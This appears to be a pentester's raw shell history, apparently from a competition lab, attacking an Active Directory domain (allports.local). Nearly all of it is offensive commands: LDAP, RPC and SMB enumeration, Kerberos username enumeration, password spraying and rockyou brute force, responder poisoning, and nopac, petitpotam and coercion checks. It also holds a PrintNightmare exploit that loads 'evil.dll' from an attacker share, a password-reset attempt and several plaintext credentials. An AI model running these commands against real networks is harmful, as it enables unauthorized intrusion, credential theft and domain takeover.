ldapsearch -H "ldap://10.0.1.6" -b "dc=allports,dc=local"
ldapsearch -H "ldap://10.0.1.6" -b "dc=prod,dc=allports,dc=local"
ldapsearch -H "ldap://10.0.1.6" -b "dc=prod,dc=allports,dc=local" -x
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=prod,dc=allports,dc=local" "*"
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=allports,dc=local" "*"
ldapsearch -x -H "ldaps://10.0.1.6" -b "dc=allports,dc=local" "*"
ldapsearch -x -H "ldaps://10.0.1.6" -b "dc=allports,dc=local" "*" -L
ldapsearch -x -H "ldap://10.0.1.6" -b "dc=prod,dc=allports,dc=local" "*"
# Get root DSE\
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)"
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base namingContexts
ldapsearch -x -H ldap://10.0.1.6 -s sub -b "dc=allports,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://10.0.1.6 -s sub -b "DC=allports,Dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://10.0.1.6 -s sub -b "DC=allports,DC=local" "(objectClass=person)"
sudo vim /etc/hosts
ping APT-DC-01.allports.local
ldapsearch -x -H ldap://10.0.1.6 -s base -b "DC=allports,DC=local" "(objectClass=person)"
msfconsole
snmpwalk
sudo apt-get install wmi-client
wmic -U '' //10.0.1.6 /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U '' -N //10.0.1.6 /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U '%' //10.0.1.6 /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U '%'' //10.0.1.6 /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U '%' //APT-DC-01.allports.local /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U 'allports.local/%' //APT-DC-01.allports.local /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U allports.local/''%'' //APT-DC-01.allports.local /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U allports.local/'%' //APT-DC-01.allports.local /NAMESPACE:"\\root\\directory\\ldap" PATH ds_user GET Name,DistinguishedName,ADsPath
wmic -U allports.local/'%' //APT-DC-01.allports.local "select * from Win32_ComputerSystem"
wmic -U allports.local/'%' //APT-DC-01.allports.local //host "select * from Win32_ComputerSystem"
wmic -U allports.local/'%' //APT-DC-01.allports.local "select * from Win32_ComputerSystem"
wmic -U allports.local/'%' //APT-DC-01.allports.local  PATH ds_user GET Name,DistinguishedName,ADsPath
ldapsearch -x -H ldap://APT-DC-01.allports.local -b "DC=allports,DC=local" "(objectClass=user)" cn sAMAccountName distinguishedName
wmic -U allports.local/'%' //APT-DC-01.allports.local "SELECT Name,FullName,Disabled FROM Win32_UserAccount"
wmic -U allports.local/'%' //10.0.1.6 "SELECT Name,FullName,Disabled FROM Win32_UserAccount"
wmic -U allports.local/'%' //10.0.1.20 "SELECT Name,FullName,Disabled FROM Win32_UserAccount"
wmic -U allports.local/'%' //10.0.1.21 "SELECT Name,FullName,Disabled FROM Win32_UserAccount"
msfconsole
vim /etc/hosts
sudo vim /etc/hosts
ffuf -u http://10.0.1.99/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
ffuf -u http://admin.rooms.allports.tours/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
ffuf -u http://admin.rooms.allports.tours/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -p 10
ffuf -u http://admin.rooms.allports.tours/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -p 40
ffuf -u http://admin.rooms.allports.tours/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -p 200
ffuf -u http://admin.rooms.allports.tours/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
curl http://admin.rooms.allports.tours/api/services
curl http://admin.rooms.allports.tours/api/services -i -v
ffuf -u http://FUZZ.rooms.allports.tours/api -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
ffuf -u http://FUZZ.rooms.allports.tours/ -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
curl http://admin.rooms.allports.tours/
curl http://bob.rooms.allports.tours/
ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -p 500
ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -p 500 -fs 3846
ffuf -u http://10.0.1.99 -H "Host: FUZZ.rooms.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -fs 3846
curl http://10.0.1.99 -H "Host: pp-c03.rooms.allports.tours"
curl http://10.0.1.99 -H "Host: pp-c023.rooms.allports.tours"
sudo vim /etc/hosts
curl http://10.0.1.99/admin.html -H "Host: pp-c023.rooms.allports.tours"
cd Downloads
nxc smb 10.0.1.6 -u ADusers -p 'IamTheCaptain'
mysql 10.0.1.99 -ucmiller -p
mysql -h 10.0.1.99 -ucmiller -p
mysql -h 10.0.1.99 -ucmiller -p --skip-ssl-verify-server-cert
nxc smb ~/445hosts -u ADusers -p 'IamTheCaptain' --local-auth
nxc smb ~/445hosts -u Administrator -p 'IamTheCaptain' --local-auth
nxc smb ~/445hosts -u Administrator -p 'IamTheCaptain!' --local-auth
nxc smb ~/445hosts -u ADusers -p 'IamTheCaptain!' --local-auth
ls
mysql -h 10.0.1.15 -ucmiller -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -uroot -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -uroot -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -udcarter -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -uecarter -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -ubfinn -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -uadmin -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -umysql -p --skip-ssl-verify-server-cert
curl http://10.0.1.11:3080 -H "Host: Penny.allports.local"
nmap 10.0.1.0/24 -Pn -p3080 --open
curl http://10.0.1.11:3080 -H "Host: Penny.allports.local"
nxc smb 10.0.1.6 -u Penny -p 'IamTheCaptain'
ls
./kerbrute_linux_amd64 userenum
vim users
ls
vim ADusers
./kerbrute_linux_amd64 userenum
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 ADusers
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 ADusers -d allports.local
vim ADusers
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 ADusers -d allports.local
vim testpenny
cat testpenny
cat testpenny | awk '{ print$1}'
rm testpenny
vim testpenny
ls
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 testpenny -d allports.local
mysql -h 10.0.1.15 -upenny -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -upenny -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -umysql -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.15 -uroot -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -umysql -p --skip-ssl-verify-server-cert
mysql -h 10.0.1.99 -uroot -p --skip-ssl-verify-server-cert
nxc smb ~/445hosts -u Penny -p 'IamTheCaptain' --local-auth
nxc smb ~/445hosts -u Penny -p 'penny' --local-auth
nxc smb ~/445hosts -u Penny -p 'Rockyou!' --local-auth
nxc smb ~/445hosts -u ADusers -p 'Rockyou!' --local-auth
ls
cd ..
ls
nmap 10.0.1.0/24 -Pn -p1433 --open
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=domain)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=prod,dc=allports,dc=local" "(objectClass=domain)"
ldapsearch -x -H ldap://10.0.1.6 -b "cn=apt-dc-01,dc=allports,dc=local" "(objectClass=domain)"
nmap 10.0.1.0/24 -Pn -p1433 --open
nmap 10.0.1.0/24 -Pn -p2049 --open
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -D '' -w ''
responder
sudso responder
sudo responder
ip a
sudo responder -I eth0
sudo responder -I eth0 -h
sudo responder -I eth0 -A -w
ip a
sudo responder -I eth0 -A -w
pre2k
vim computers
nxc smb 10.0.1.6 -u 'Deckhand-01$' -p 'Deckhand-01'
nxc smb 10.0.1.6 -u 'Deckhand-02$' -p 'Deckhand-02'
impacket-GetNPUsers
impacket-GetNPUsers allports.local/''@10.0.1.6 -no-pass
sudo vim /etc/hosts
impacket-GetNPUsers allports.local/''@10.0.1.6 -no-pass
kerbrute
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
ls
make
make linux
cd ..
rm -rf kerbrute
cd Downloads
ls
chmod +x kerbrute_linux_amd64
ldapsearch -H ldaps://10.0.1.6:636 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldaps://APT-DC-01.allports.local:636 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldap://APT-DC-01.allports.local:636 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldap://APT-DC-01.allports.local:3268 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldap://APT-DC-01.allports.local:3269 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldaps://APT-DC-01.allports.local:3269 -x -s base -b '' "(objectClass=*)" "*"
ldapsearch -H ldap://APT-DC-01.allports.local:3268 -x -s base -b 'dc=allports,dc=local' "(objectClass=*)" "*"
ldapsearch -H ldap://APT-DC-01.allports.local:3268 -s base -b 'dc=allports,dc=local' "(objectClass=*)" "*"
ls
rm Obsidian-1.9.14.dmg
./kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local
vim cptcusers
git clone https://github.com/urbanadventurer/username-anarchy.git
ls
cd username-anarchy
ls
cd user
ls
ls username-anarchy
cd usern
;s
ls
cd username-anarchy
./username-anarchy
./username-anarchy -i cptcnames > output
cat output
cp output ~/Downloads
cd ~/Downloads/
ls
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local output
vim output
./kerbrute_linux_amd64 userenum --dc 10.0.1.6 -d allports.local output
ls
mv output username_anarchy_username_output
ls
nxc smb ~/445hosts -u '' -p '' -M printnightmare
nxc smb ~/445hosts -u '' -p '' -M nopac
python3 CVE-2021-1675.py APT-DC-01.allports.local allports.local/'':'' -f '\\10.0.254.206\share\evil.dll'
python3 CVE-2021-1675.py allports.local/'':''@10.0.1.6 '\\10.0.254.206\share\evil.dll'
nmap 10.0.1.0/24 -Pn -p389 --open
nmap 10.0.1.0/24 -Pn -p20,21,23,389 --open
msfconsole
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14 -L
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14 -r
ffuf -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14 -r
ffuf -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://10.0.1.14


_raw:
nmap 10.0.1.0/24
nmap -A 10.0.1.6
history | grep ldap
cd /home/pentester/Desktop
cat hydra.restore
rpcclient
rpcclient -u rdavis -p rosdav50
rpcclient -U rdavis@rosdav50 10.0.1.6
rpcclient -U rdavis 10.0.1.6
rdesktop -u rdavis -p rosdav50
rdesktop -u rdavis -p rosdav50 -d APT
rdesktop -u rdavis -p rosdav50 -d APT 10.0.1.6
cd ldapdump
ls
cat rdavisdump
evil-winrm -i 10.0.1.6 -u rdavis -p rosdav50
evil-winrm -i 10.0.1.20 -u rdavis -p rosdav50
evil-winrm -i 10.0.1.21 -u rdavis -p rosdav50
rdesktop -u rdavis -p rosdav50 10.0.1.6
rdesktop -u rdavis -p rosdav50 -d APT 10.0.1.6
rdesktop -u rdavis -p rosdav50 -d APT 10.0.1.20
rdesktop -u rdavis -p rosdav50 -d APT 10.0.1.21
rdesktop -u DECKHAND-01 -p wutever -d APT 10.0.1.20
evil-winrm -i 10.0.1.20 -u rdavis -p rosdav50
evil-winrm -i 10.0.1.20 -r APT -u rdavis -p rosdav50
nmap -A 10.0.1.11
nmap -sV -A 10.0.1.11
nmap -sU --script nbstat.nse 10.0.1.11
nbtscan 10.0.1.11
nbtscan 10.0.1.00/24


_raw:
nmap -A 10.0.1.21
ifconfig
history | grep ldap
enum4linux 10.0.1.6
enum4linux -u bfinn 10.0.1.6
enum4linux -u bfinn -p password 10.0.1.6
enum4linux -u bfinn -p kylie 10.0.1.6
enum4linux -u rdavis -p rosdav50 10.0.1.6
ldapdomaindump
cd /home/pentester/Desktop/ldapdump
cd /home/pentester/Desktop
mkdir ldapdump
cd ldapdump
ldapdomaindump -u rdavis -p rosdav50
ldapdomaindump -u rdavis -p rosdav50 -h 10.0.1.6
history ldapdom
history ldapdomain
history | grep ldapdomaindump
ldapdomaindump -u rdavis -p rosdav50 -h 10.0.1.6
ldapdomaindump -u rdavis -p rosdav50 -H 10.0.1.6
ldapdomaindump 10.0.1.6 -u rdavis -p rosdav50
ldapdomaindump 10.0.1.6 -u APT\rdavis -p rosdav50
ldapdomaindump 10.0.1.6 -u "APT\rdavis" -p rosdav50
enum4linux -P -u rdavis -p rosdav50 10.0.1.6
enum4linux -a -u rdavis -p rosdav50 10.0.1.6
enum4linux -a -u rdavis -p rosdav50 10.0.1.6 >> rdavisdump
ldapsearch -x -H ldap://10.0.1.6 -s base namingConvention
ldapsearch -x -H ldap://10.0.1.6 -s base namingConventions
ldapsearch -x -H ldap://10.0.1.6 -s base namingContexts
impacket-ldapdumper
impacket-ldapdumper -u
man ldapmodify
ldapmodify -x -H ldap://10.0.1.6 -D "DC=allports,DC=local"
ldapmodify -x -H ldap://10.0.1.6 -D "DC=allports,DC=local" -W << EOF\
\
dn: CN=rdavis,OU=Users,DC=allports,DC=local\
changetype: modify\
replace: rosdav50\
userPassword: rosdav60\
EOF
metasploit
msf
ms
msf6
enum4linux -u rdavis -p rosdav50 -U 10.0.1.6
enum4linux -u rdavis -p rosdav50 -i 10.0.1.6
enum4linux -u rdavis -p rosdav50 -n 10.0.1.6
msfconsole
rpcclient
rpcclient -u rdavis -p rosdav50
rpcclient -u rdavis -p rosdav50 10.0.1.6
rpcclient -U rdavis -p rosdav50 10.0.1.6


_raw:
nmap 10.0.1.0/24
cd Desktop
nmap -A 10.0.1.6 > 10.0.1.6.txt
ldapwhoami -x -H ldap://10.0.1.6
ldapwhoami -x -H ldap://allports.local0
ldapwhoami -x -H ldap://allports.local0.
ldapwhoami -x -H ldap://allports.local0.com
nmap -p 389,636,3268 10.0.1.6
nc -vn 10.0.1.6 389
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" namingContexts
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" "*" "+"
man ldapsearch
ldapsearch -x -H ldap://10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -b ""
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" "*" "+"
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" namingContexts
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" "*" "+"
ldapsearch -x -b "dc=allports,dc=local" -h 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -h 10.0.1.6 -p 389
ldapsearch -x -b "dc=allports,dc=local" -H 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6
ldapsearch -x -b "dc=allports,dc=local,dc=forestdnszones" -H ldap://10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6
git clone https://github.com/ropnop/windapsearch
ls
cd windapsearch
ls
./windapsearch.py --dc-ip 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectclass=*)" "*" "+"
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -h 10.0.1.6 -p 389
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -h 10.0.1.6
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -H 10.0.1.6
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -H 10.0.1.6 -p 389
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -H 10.0.1.6 -p389
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -H 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -H 10.0.1.6
ldapsearch -x -b "dc=forestdnszones,dc=domaindnszones,dc=allports,dc=local" -H ldap://10.0.1.6
ldapsearch -x -b "dc=forestdnszones,dc=local" -H ldap://10.0.1.6
ldapsearch -x -b "dc=domaindnszones,dc=local" -H ldap://10.0.1.6
ldapsearch -x -b "dc=domaindnszones" -H ldap://10.0.1.6
ldapsearch -x -b "dc=domaindnszones" -H 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6
rpcclient -U=" " -N 10.0.1.6
rpcclient -U="Administrator" -N 10.0.1.6
rpcclient -U="administrator" -N 10.0.1.6
rpcclient -U="APT-DC-01" -N 10.0.1.6
crowbarr -b ldap 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt.
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
ls
cd /usr/share/wordlists
ls
crowbarr -b ldap 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b ldap 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp 10.0.1.6 -u/APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp 10.0.1.6 -u "APT-DC-01" -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp 10.0.1.6 --username "APT-DC-01" -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp -s 10.0.1.6 -u APT-DC-01 -c /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp -s 10.0.1.6 -u APT-DC-01 -C /usr/share/wordlists/rockyou.txt -n 1
crowbar -b rdp -s 10.0.1.6/24 -u APT-DC-01 -C /usr/share/wordlists/rockyou.txt -n 1
sudo crowbar -b rdp -s 10.0.1.6/24 -u APT-DC-01 -C /usr/share/wordlists/rockyou.txt -n 1
enum4linux -a 10.0.1.6
enum4linux -P 10.0.1.6
smbclient 10.0.1.6
smbclient //10.0.1.6
smbclient //10.0.1.6/
smbclient //10.0.1.6/tmp
smbclient -L //10.0.1.6 -U '' -N
smbclient -L //10.0.1.6/ -U '' -N
nmap 10.0.1.0/24
nmap 10.0.1.20
rpcclient -W 'WORKGROUP' -U''%'' 10.0.1.6 -c 'lsaquery' 2>&1
nmap 10.0.1.20
nmap -Av 10.0.1.20
nmap -Av 10.0.1.21
rpcclient -U '' -N 10.0.6.1
rpcclient -U '' -N 10.0.1.6
cls
clear
rpcclient -U '' -N 10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" "*" -H ldap://10.0.1.6
ldapsearch -x -b "dc=allports,dc=local" "*" -H ldap://10.0.1.6 | awk '/dn: / {print $2}'
ldapsearch -x -b "dc=allports,dc=local" "*" -H ldap://10.0.1.6
ldapsearch -x -b -D "cn=Configuration,dc=allports,dc=local" "*" -H ldap://10.0.1.6
ldapwhoami -h 10.0.1.6
ldapwhoami -h 10.0.1.6 -w
ldapwhoami -h 10.0.1.6 -w ''
ldapwhoami -h 10.0.1.6 -w 'a'
ldapwhoami -h ldap.allports.local -w ''
ldapwhoami -h ldap.allports.local -w 'a'
ldapwhoami -h allports.local -w 'a'
ldapwhoami -H allports.local -w 'a'
ldapwhoami -H ldap.allports.local -w 'a'
ldapwhoami -H Configuration.allports.local -w 'a'
ldapwhoami -H prod.allports.local -w 'a'
ldapwhoami -H allports.local. -w 'a'
ldapwhoami -H allports.local.0 -w 'a'
hydra -u DECKHAND-01 -P /usr/share/wordlists/rockyou.txt 10.0.1.20 rdp
hydra -L DECKHAND-01 -P /usr/share/wordlists/rockyou.txt 10.0.1.20 rdp
man hydra
hydra -l DECKHAND-01 -P /usr/share/wordlists/rockyou.txt 10.0.1.20 rdp


_raw:
ifconfig
man nmap
nc -vn 10.0.1.21 135
rpcdump -p 135 10.0.1.21
sudo apt install rpcdump
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.21
nmap -A 10.0.1.0/24
nmap -p 389 -sV --script ldap-rootdse 10.0.1.6
nmap -p 389 -sV --script ldap-rootdse 10.0.1.6 > ldapbanner
cd Desktop
nmap -p 389 -sV --script ldap-rootdse 10.0.1.6 > ldapbanner
nmap -p 3899 --script ldap-search
nmap -p 3899 --script ldap-search 10.0.1.6
nmap --Pn sC -sV -oA nmap/services -p(389) 10.0.1.6 --script=vuln -vv
nmap --Pn sC -sV -oA nmap/services -p389 10.0.1.6 --script=vuln -vv
nmap -Pn sC -sV -oA nmap/services -p389 10.0.1.6 --script=vuln -vv
nmap -Pn sC -sV -oA /usr/share/nmap/services -p389 10.0.1.6 --script=vuln -vv
cd /usr/share/nmap/scripts
LS
ls
cd /usr/share/nmap/scripts
nmap -Pn sC -sV -oA /usr/share/nmap/services -p389 10.0.1.6 --script=vuln -vv
sudo nmap -Pn sC -sV -oA /usr/share/nmap/services -p389 10.0.1.6 --script=vuln -vv
cd /usr/share/nmap
ls
cd nselip
ls
cd nselib
ls
cd data
ls
sudo nmap -Pn sC -sV -oA /usr/share/nmap/services -p 389 10.0.1.6 --script=vuln -vv
sudo nmap -Pn sC -sV -oA /usr/share/nmap/services -p 389 53 10.0.1.6 --script=vuln -vv
sudo nmap -Pn sC -sV -oA /usr/share/nmap/services -p (389 53 88 135 139 445 464 593 636 3268 3269 3389) 10.0.1.6 --script=vuln -vv
sudo nmap -Pn sC -sV -oA /usr/share/nmap/services -p 389 53 88 135 139 445 464 593 636 3268 3269 3389 10.0.1.6 --script=vuln -vv
rpcclient enumdomusers
rpcclient enumdomusers 10.0.1.6
rpcclient enumdomusers -I 10.0.1.6
rpcclient help
nmap -A 10.0.1.20
nmap -p 135,593 --script=msrpc-enum 10.0.1.6
nmap -p 135,593 --script=msrpc-enum 10.0.1.20
rpcclient -U "" -N 10.0.1.20
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.20
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.21
cd /usr/share/nmap/scripts
ls | grep 'msrpc'
impacket-rpcdump 10.0.1.6
impacket-rpcdump 10.0.1.20
impacket-rpcdump 10.0.1.20 | grep user
impacket-rpcdump 10.0.1.6 | grep user
impacket-rpcdump 10.0.1.6 | grep runtime
impacket-rpcdump 10.0.1.6 | grep rpc
impacket-rpcdump 10.0.1.6 | grep remote
impacket-rpcdump 10.0.1.20 | grep remote
impacket-rpcdump 10.0.1.20 | grep rpc
impacket-rpcdump 10.0.1.20 | grep Remote
impacket-rpcdump 10.0.1.6 | grep Remote
impacket-rpcdump 10.0.1.6 | grep MS_
impacket-rpcdump 10.0.1.20 | grep MS_
impacket-rpcmap 10.0.1.6
impacket-rpcmap 10.0.1.20
nmap -A 10.0.1.20
nbtscan 10.0.1.20
nbtscan 10.0.1.20/24
nbtscan 10.0.1.0/24
enum4linux 10.0.1.20
smbmap -H 10.0.1.20
nmap -A 10.0.1.21
nmap -A 10.0.1.20
nmap -A 10.0.1.6
enum4linux 10.0.1.20
enum4linux 10.0.1.6
enum4linux 10.0.1.21
sudo enum4linux 10.0.1.6
sudo enum4linux -sV 10.0.1.6
sudo enum4linux -Sv 10.0.1.6
smbclient -L //10.0.1.6/
cd Desk
cd Desktop
cd /home
dir
ls
cd pentester/Desktop
ls
nmap -A 10.0.1.20 >> 10.0.1.20
nmap -A -v 10.0.1.20 >> 10.0.1.20
nmap -A -v 10.0.1.6
ldapdomaindump -u '' -p '' 10.0.1.6
ldapdomaindump -u 'APT/' -p '' 10.0.1.6
ldapdomaindump -u 'APT\' -p '' 10.0.1.6
ldapdomaindump -u  10.0.1.6
ldapdomaindump  10.0.1.6
history | grep ldab
history | grep ldap
history | grep ldapsearch
rpcclient -U "" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.21
rpcclient -U "" -N 10.0.1.6
hydra-wizard


_raw:
sudo nano /etc/hosts
nmap -sV -vv 10.0.1.14
searchsploit nginx 1.18
searchsploit nginx
searchsploit gunicorn
dirb http://chat.allports.tours/ /usr/share/wordlists/dirb/common.txt
dirb https://chat.allports.tours/ /usr/share/wordlists/dirb/common.txt
nmap -sC -vv 10.0.1.14
iperf -c 10.0.1.14
dirb https://pp-c023.rooms.allports.tours/api -w /usr/share/wordlists/dirb/common.txt
cd /usr/share/wordlists
ls
cd dirb
ls
dirb https://pp-c023.rooms.allports.tours/api -w /usr/share/wordlists/dirb/extensions_common.txt
ls
cd others
ls
cd ..
ls
cd ..
ls
cd wfuzz
ls
cd webservices
ls
c d..
cd general
ls
cd ..
ls
cd general
LS
ls
cd ..
ls
c d..
cd ..
ls
touch api_list.txt
cd ..
ls
cd /home
ls
cd pentester
touch api_list.txt
nano api_list.txt
dirb https://pp-c023.rooms.allports.tours/api -w /home/pentester/api_list.txt
dirb https://pp-c023.rooms.allports.tours/ -w /home/pentester/api_list.txt
dirb https://pp-c023.rooms.allports.tours/ /home/pentester/api_list.txt
ls
dirb https://pp-c023.rooms.allports.tours/ /home/pentester/api_list.txt
ls
cd Downloads
ls
pwd
dirb https://pp-c023.rooms.allports.tours/ /home/pentester/Downloads/api_routes.txt
cd ..
ls
cat password.txt
sudo apt install bloodhound
sudo bloodhound-setup
sudo apt install docker-ce
sudo apt install docke
sudo apt install docker
ls
exit


_raw:
nxc smb 10.0.1.0/24 --generate-host-list
nxc smb 10.0.1.0/24 --generate-hosts
nxc smb 10.0.1.0/24 --generate-hosts-file hosts
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --bloodhound --collection all --dns-servers 10.0.1.6
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --bloodhound --collection all --dns-server 10.0.1.6
unzip /home/pentester/.nxc/logs/APT-DC-01_10.0.1.6_2025-10-18_184123_bloodhound.zip .
unzip /home/pentester/.nxc/logs/APT-DC-01_10.0.1.6_2025-10-18_184123_bloodhound.zip
ls
less APT-DC-01_10.0.1.6_2025-10-18_184123_users.json
cat password.txt
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --bloodhound --collection all --dns-server 10.0.1.6 -M nopac
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M nopac
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M coerce_plus
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 --gmsa
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M gmsa
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -Mpso
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M pso
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 --shares
impacket-smbclient allports.tours/rdavis:rosdav50@10.0.1.6
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 --gmsa
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M maq
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M petitpotam
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M petitpotam
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M nopac
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M adcs
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 -M adcs
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 --admin-count
nxc wmi 10.0.1.0/24 -u rdavis -p rosdav50 --dns-server 10.0.1.6
nxc winrm 10.0.1.0/24 -u rdavis -p rosdav50 --dns-server 10.0.1.6
nxc wmi 10.0.1.0/24 -u svc_stablize -p lgyroscope --dns-server 10.0.1.6
nxc smb 10.0.1.6 -u rdavis -p rosdav50 --dns-server 10.0.1.6 --laps
exit


